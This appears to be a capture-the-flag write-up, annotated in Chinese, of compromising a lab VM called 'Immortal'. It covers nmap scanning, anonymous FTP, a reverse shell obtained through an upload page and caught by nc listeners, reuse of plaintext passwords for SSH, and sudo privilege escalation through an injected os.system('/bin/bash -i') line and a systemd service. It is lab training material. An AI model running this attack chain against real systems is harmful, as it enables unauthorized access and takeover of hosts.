nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-29 03:21 EST Nmap scan report for192.168.56.1 Host is up (0.00033s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for192.168.56.2 Host is up (0.00043s latency). MAC Address: 08:00:27:25:40:B0 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.15 Host is up (0.00042s latency). MAC Address: 08:00:27:13:BB:B5 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
nmap -sT -sV -O -p- 192.168.56.15 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-29 03:25 EST Nmap scan report for192.168.56.15 Host is up (0.00061s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian)) MAC Address: 08:00:27:13:BB:B5 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
nmap -script=vuln -p- 192.168.56.15 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-29 03:26 EST Nmap scan report for192.168.56.15 Host is up (0.00080s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http | http-fileupload-exploiter: | |_ Couldn't find a file-type field. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. MAC Address: 08:00:27:13:BB:B5 (Oracle VirtualBox virtual NIC)
渗透
优先级 21 > 80 > 21
FTP
尝试使用匿名帐户登录，成功登录
1 2 3 4 5 6 7 8 9
ftp 192.168.56.15 Connected to 192.168.56.15. 220 (vsFTPd 3.0.3) Name (192.168.56.15:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system typeis UNIX. Using binary mode to transfer files.
存在message.txt拉取下来
1 2 3 4 5 6 7 8 9 10 11 12 13
ftp> ls 229 Entering Extended Passive Mode (|||36827|) 150 Here comes the directory listing. -rw-r--r-- 100504 Feb 272024 message.txt 226 Directory send OK. ftp> get message.txt local: message.txt remote: message.txt 229 Entering Extended Passive Mode (|||20892|) 150 Opening BINARY mode data connection for message.txt (504bytes). 100% |****************************************************************************************************************| 504861.97 KiB/s 00:00 ETA 226 Transfer complete. 504bytes received in00:00 (408.79 KiB/s)
查看文件内容
1 2 3 4 5 6 7
┌──(root㉿kali)-[~/Desktop/test/Immortal] └─# cat message.txt Hey guys! I made it, after all this time. That's right guys, the great precious immortality. The one coveted by all and achieved by none. Favoured by all and owned by none. Now we have to be careful guys, we have to hide this from the world, from governments and other dangerous institutions. They may even have already heard about our achievement, they are everywhere! That's why I have decided to strengthen the security of the server. What if they try to hack us!!! Wishing you a long life, David.
# /chat/message.txt I am very happy that you have included me in the project for the quest for immortality. I am sure we will succeed, whatever it takes. Best regards, Drake # /chat/message2.txt Message to Eric. Remember to buy mice for the experiments, there are very few left. Also remember to tell Boyras to give us the money he owes us, orelse we'll have to beat it out of him ourselves. Regards, David. # /chat/message3.txt Message to all. I'm glad you made it, I knew you would guess the password, it's the one we always used, although Boyras recommended us to stop using it because "it was in rockyou". By the way guys, you can still upload messages to the server from this new path -> upload_an_incredible_message.php Saying goodbye very happy, David # /important/important.txt Nothing important -. --- - .... .. -. --. .. -- .--. --- .-. - .- -. - # /tests/test30.txt Test 30 : passed I can't believe it! It's unbelievable! It's amazing!
But...
Men die Woman die Dogs die Is it worth living forever, if you will live alone?
# kali 开启监听 ┌──(root㉿kali)-[~/Desktop/test/Immortal] └─# nc -lvp 1234 listening on [any] 1234 ..
访问上传的文件后，获得shell
1 2 3 4 5 6 7
nc -lvp 1234 listening on [any] 1234 ... 192.168.56.15: inverse host lookup failed: Host name lookup failure connect to [192.168.56.4] from (UNKNOWN) [192.168.56.15] 50024 bash: cannot set terminal process group (458): Inappropriate ioctl for device bash: no job control in this shell www-data@Immortal:/var/www/html/longlife17/chat$
╔══════════╣ All relevant hidden files (notin /sys/ or the ones listed in the previous check) (limit 70) -rw-r--r-- 1 root root 0 Jan 30 07:16 /run/network/.ifstate.lock -rw------- 1 root root 0 Feb 272024 /etc/.pwd.lock -rw-r--r-- 1 root root 220 Mar 272022 /etc/skel/.bash_logout -rw-r--r-- 1 drake drake 220 Feb 272024 /home/drake/.bash_logout -rw-r--r-- 1 eric eric 134 Feb 272024 /home/eric/.note.txt -rw-r--r-- 1 eric eric 220 Feb 272024 /home/eric/.bash_logout -rw-r--r-- 1 root root 0 Feb 222021 /usr/share/dictionaries-common/site-elisp/.nosearch
www-data@Immortal:/home/eric$ cat .note.txt I think I should tell David that this immortality thing isnot a good idea, although I'm sad to tell him, he's so excited about it ## 我想我应该告诉大卫，永生不是什么好主意，尽管我很伤心地告诉他，他对此很兴奋
/opt下的immortal.txt 和 immortal.py
1 2 3
www-data@Immortal:/opt$ cat immortal.txt Every man dies. Not every man lives ## 每个人都会死，但不是每个人都能活
1 2 3 4 5 6 7
www-data@Immortal:/opt$ cat immortal.py a = input(str("Do you want to be immortal: "))
if a.lower() == "yes"or a.lower() == "no": print("Bad answer") else: print("Are you sure?")
好像并没有用，不过发现对immortal.py我们拥有修改权限
1 2 3 4 5
www-data@Immortal:/opt$ ls -al drwxr-xr-x 2 root root 4096 Feb 282024 . drwxr-xr-x 18 root root 4096 Feb 272024 .. -rw-rw-rw- 1 root root 147 Feb 282024 immortal.py -rw-r--r-- 1 root root 36 Feb 282024 immortal.txt
/home/drake/…/pass.txt
看着像是密码
1 2 3 4 5 6 7
www-data@Immortal:/opt$ cat /home/drake/.../pass.txt netflix : drake123 amazon : 123drake shelldred : shell123dred (f4ns0nly) system : kevcjnsgii bank : myfavouritebank nintendo : 123456
尝试使用SSH登录，使用system的密码，登陆成功
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kali)-[~/Desktop/test/Immortal] └─# ssh drake@192.168.56.15 drake@192.168.56.15's password: Linux Immortal 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Feb 29 18:55:43 2024 from 10.0.2.15 drake@Immortal:~$
提权 - Eric
查看权限
1 2 3 4 5 6
drake@Immortal:/opt$ sudo -l Matching Defaults entries for drake on Immortal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User drake may run the following commands on Immortal: (eric) NOPASSWD: /usr/bin/python3 /opt/immortal.py
我们将python文件修改，将提权语句写进去
1 2 3 4 5 6 7
import os; os.system("/bin/bash -i") a = input(str("Do you want to be immortal: "))
if a.lower() == "yes"or a.lower() == "no": print("Bad answer") else: print("Are you sure?")
然后运行文件，获得eric用户
1
drake@Immortal:/opt$ sudo -u eric /usr/bin/python3 /opt/immortal.py
提权 - Root
再次查看权限，可以已root权限运行Immortal 服务
1 2 3 4 5 6 7 8 9 10 11
eric@Immortal:/opt$ sudo -l Matching Defaults entries for eric on Immortal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User eric may run the following commands on Immortal: (root) NOPASSWD: sudoedit /etc/systemd/system/immortal.service (root) NOPASSWD: /usr/bin/systemctl start immortal.service (root) NOPASSWD: /usr/bin/systemctl stop immortal.service (root) NOPASSWD: /usr/bin/systemctl enable immortal.service (root) NOPASSWD: /usr/bin/systemctl disable immortal.service (root) NOPASSWD: /usr/bin/systemctl daemon-reload
┌──(root㉿kali)-[~/Desktop/test/Immortal] └─# nc -lvp 4444 listening on [any] 4444 ... 192.168.56.15: inverse host lookup failed: Host name lookup failure connect to [192.168.56.4] from (UNKNOWN) [192.168.56.15] 60160 bash: cannot set terminal process group (14559): Inappropriate ioctl for device bash: no job control in this shell root@Immortal:/# cat /root/root.txt fiNally1mMort4l
